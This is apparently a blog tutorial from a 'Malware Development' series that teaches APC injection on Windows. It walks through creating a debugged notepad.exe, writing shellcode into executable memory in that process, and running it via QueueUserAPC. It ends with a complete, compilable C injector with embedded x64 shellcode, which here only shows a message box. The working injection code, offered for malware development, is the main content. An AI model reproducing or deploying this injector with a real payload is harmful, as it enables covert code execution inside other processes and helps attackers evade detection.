Malware Development: Crafting Digital Chaos 0x8: APC Injection
Introduction to APC Injection
APC refers to Asynchronous Procedure Call, and APC Injection is one variation of the techniques of code injection in Windows. APC Injection targets threads that are in an ALERTABLE state. Every thread has it’s own queue of APCs, when the thread enters an alertable state it starts doing APC jobs in the form of first in first out.
In threading, an “alertable state” refers to a condition where a thread is capable of receiving and processing asynchronous alerts or signals while it’s in a waiting or blocked state. In other words, when a thread is in an alertable state, it remains receptive to certain asynchronous events or notifications, allowing it to perform additional actions or respond to specific signals without being actively engaged in processing tasks.
A thread enters an alertable state in specific scenarios where it is capable of receiving and processing asynchronous alerts:
- Waiting on I/O Completion Ports
- Waiting on Synchronization Objects: When a thread waits on certain synchronization objects such as mutexes, semaphores, events, or condition variables using functions like
WaitForSingleObjectEx
,WaitForMultipleObjectsEx
, orSleepEx
. - Asynchronous Procedure Calls (APCs): Threads that explicitly enter an alertable state by calling functions like
SleepEx
,WaitForSingleObjectEx
- Custom Alertable States: In some cases, developers may implement custom mechanisms to put threads in an alertable state.
In order to perform APC Injection, we need to create or have a ready thread in an alertable state, in this article we will be creating a new remote process in DEBUG
mode.
Debug mode is an alertable state for process threads primarily because it allows the operating system to interrupt the normal execution flow of a thread to handle debugging-related events or signals. When a thread is in debug mode, it becomes receptive to asynchronous alerts or signals from the debugger.
In Windows operating systems, DebugActivateProcessStop
is a function used to activate a thread that is in a stopped state due to debugging. It’s part of the debugging API and is primarily employed to resume the execution of a thread that has been halted for debugging purposes. As we will be creating a process in debug mode we will need to use this API so we can activate the thread again after injection.
Creating a debugged process
We will be using CreateProcess
API call, it will not be explained in depth as it is explained more here.
We will be passing DEBUG_PROCESS
as a creation flag in the place ofdwCreationFlags
parameter so we can create a debugged process.
BOOL CreateDebuggedProcess(IN LPCSTR lpProcessName,OUT DWORD* dwProcessId,OUT HANDLE* hProcess,OUT HANDLE* hThread) {
CHAR lpPath[MAX_PATH * 2];
CHAR WnDr[MAX_PATH];
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = { 0 };
RtlSecureZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
RtlSecureZeroMemory(&si, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
printf("GetEnvironmentVariableA failed with error %x", GetLastError());
return FALSE;
}
sprintf(lpPath, "%s\\System32\\%s", WnDr,lpProcessName);
if (!CreateProcessA(
NULL,
lpPath,
NULL,
NULL,
FALSE,
DEBUG_PROCESS,
NULL,
NULL,
&si,
&pi
)) {
printf("CreateProcessA failed with error %x\n", GetLastError());
return FALSE;
}
*hProcess = pi.hProcess;
*dwProcessId = pi.dwProcessId;
*hThread = pi.hThread;
return TRUE;
}
As we can see we are using sprintf
to concatenate the full path of our process getting the WINDIR environment variable is more convenient than hardcoding everything.
Also the empty placeholders for PID, Process Name and Thread handles are passed in order we can save the retrieved values of our debugged process because once the function exists we lose everything in pi
variable.
Injecting shellcode inside remote process memory
Next step after retrieving a handle to the target process we will be injecting our code in an EXECUTABLE region, we can use VirtualAllocEx
directly or combine it with VirtualProtect
for more stealthy approach:
BOOL InjectShellcode(IN HANDLE* hProcess, IN PBYTE Shellcode, IN SIZE_T SizeofShellcode, OUT PVOID* ppAddress) {
SIZE_T dwNumberofBbytesWritten;
*ppAddress = VirtualAllocEx(*hProcess, NULL, SizeofShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (ppAddress == NULL) {
printf("VirtualAlloc failed with error %x", GetLastError());
return FALSE;
}
if (!WriteProcessMemory(*hProcess, *ppAddress, Shellcode, SizeofShellcode, &dwNumberofBbytesWritten) || dwNumberofBbytesWritten != SizeofShellcode) {
printf("WriteProcessMemory failed with error %x", GetLastError());
return FALSE;
}
return TRUE;
}
As we see the out parameter in this case is ppAddress
the address of our shellcode.
For more explaniation of shellcode injection check past articles.
We have all what we need now,:
- A debugged process.
- A Handle to that process.
- A Handle to one of its alertable-state threads.
- An executable address that hold injected shellcode.
Next we will need to implement the injection routine itself.
Triggering the payload
We will be using QueueUserAPC
to trigger our shellcode:
DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC,
[in] HANDLE hThread,
[in] ULONG_PTR dwData
);
[in] pfnAPC
A pointer to the application-supplied APC function to be called when the specified thread performs an alertable wait operation.
[in] hThread
:
A handle to the thread. The handle must have the THREAD_SET_CONTEXT access right.
[in] dwData
:
A single value that is passed to the APC function pointed to by the pfnAPC parameter.
QueueUserAPC
allows a thread to queue a user-mode asynchronous procedure call (APC) to the APC queue of another thread. This means that code provided by us can be executed asynchronously within the context of the target thread.
pfnAPC
: The address of our shellcode.hThread
: A handle to the alertable state.
if (!QueueUserAPC((PAPCFUNC)*pAddress, *hThread, NULL)) {
printf("QueueUserAPC failed with error %x\n", GetLastError());
return FALSE;
}
And then as we said before we need to activate the thread, using:
DebugActiveProcessStop(*dwProcessId);
Full function:
bool APCInjection(IN HANDLE* hThread, IN PVOID* pAddress, IN DWORD* dwProcessId) {
if (!QueueUserAPC((PAPCFUNC)*pAddress, *hThread, NULL)) {
printf("QueueUserAPC failed with error %x\n", GetLastError());
return FALSE;
}
DebugActiveProcessStop(*dwProcessId);
return TRUE;
}
Tracing execution
To make sure everything is correctly happening we can put some breakpoints here and there and trace the execution:
Process Creation
If we breakpoint after the process creation function we can see that our process has been created:
Injection
Breakpoint after The injection function and observe the memory address returned and its permissions.
Thread resuming
Continue the execution and you’ll get the messagebox triggered.
Final code
#include <stdio.h>
#include <Windows.h>
bool APCInjection(IN HANDLE* hThread, IN PVOID* pAddress, IN DWORD* dwProcessId) {
if (!QueueUserAPC((PAPCFUNC)*pAddress, *hThread, NULL)) {
printf("QueueUserAPC failed with error %x\n", GetLastError());
return FALSE;
}
DebugActiveProcessStop(*dwProcessId);
return TRUE;
}
BOOL CreateDebuggedProcess(IN LPCSTR lpProcessName,OUT DWORD* dwProcessId,OUT HANDLE* hProcess,OUT HANDLE* hThread) {
CHAR lpPath[MAX_PATH * 2];
CHAR WnDr[MAX_PATH];
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = { 0 };
RtlSecureZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
RtlSecureZeroMemory(&si, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
printf("GetEnvironmentVariableA failed with error %x", GetLastError());
return FALSE;
}
sprintf(lpPath, "%s\\System32\\%s", WnDr,lpProcessName);
if (!CreateProcessA(
NULL,
lpPath,
NULL,
NULL,
FALSE,
DEBUG_PROCESS,
NULL,
NULL,
&si,
&pi
)) {
printf("CreateProcessA failed with error %x\n", GetLastError());
return FALSE;
}
*hProcess = pi.hProcess;
*dwProcessId = pi.dwProcessId;
*hThread = pi.hThread;
return TRUE;
}
BOOL InjectShellcode(IN HANDLE* hProcess, IN PBYTE Shellcode, IN SIZE_T SizeofShellcode, OUT PVOID* ppAddress) {
SIZE_T dwNumberofBbytesWritten;
*ppAddress = VirtualAllocEx(*hProcess, NULL, SizeofShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (ppAddress == NULL) {
printf("VirtualAlloc failed with error %x", GetLastError());
return FALSE;
}
if (!WriteProcessMemory(*hProcess, *ppAddress, Shellcode, SizeofShellcode, &dwNumberofBbytesWritten) || dwNumberofBbytesWritten != SizeofShellcode) {
printf("WriteProcessMemory failed with error %x", GetLastError());
return FALSE;
}
return TRUE;
}
int main()
{
unsigned char buf[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e"
"\x4c\x8d\x85\x15\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff"
"\xd5\x43\x52\x41\x46\x54\x49\x4e\x47\x20\x44\x49\x47\x49"
"\x54\x41\x4c\x20\x43\x48\x41\x4f\x53\x00\x4d\x65\x73\x73"
"\x61\x67\x65\x42\x6f\x78\x00";
CHAR Pname[] = "notepad.exe";
DWORD* dwProcessID = (DWORD*)malloc(sizeof(DWORD));
HANDLE* hProcess = (HANDLE*)malloc(sizeof(HANDLE));
HANDLE* hThread = (HANDLE*)malloc(sizeof(HANDLE));
if (!CreateDebuggedProcess(Pname, dwProcessID, hProcess, hThread)) {
printf("failed to CreateProcess Error %x", GetLastError());
return FALSE;
};
PVOID* pAddress = (PVOID*)malloc(sizeof(PVOID));
if (!InjectShellcode(hProcess, buf, sizeof(buf), pAddress)) {
printf("Inject Shellcode failed error %x", GetLastError());
return FALSE;
}
if (!APCInjection(hThread, pAddress, dwProcessID)) {
printf("APCInjection failed with error %x", GetLastError());
return FALSE;
}
return TRUE;
}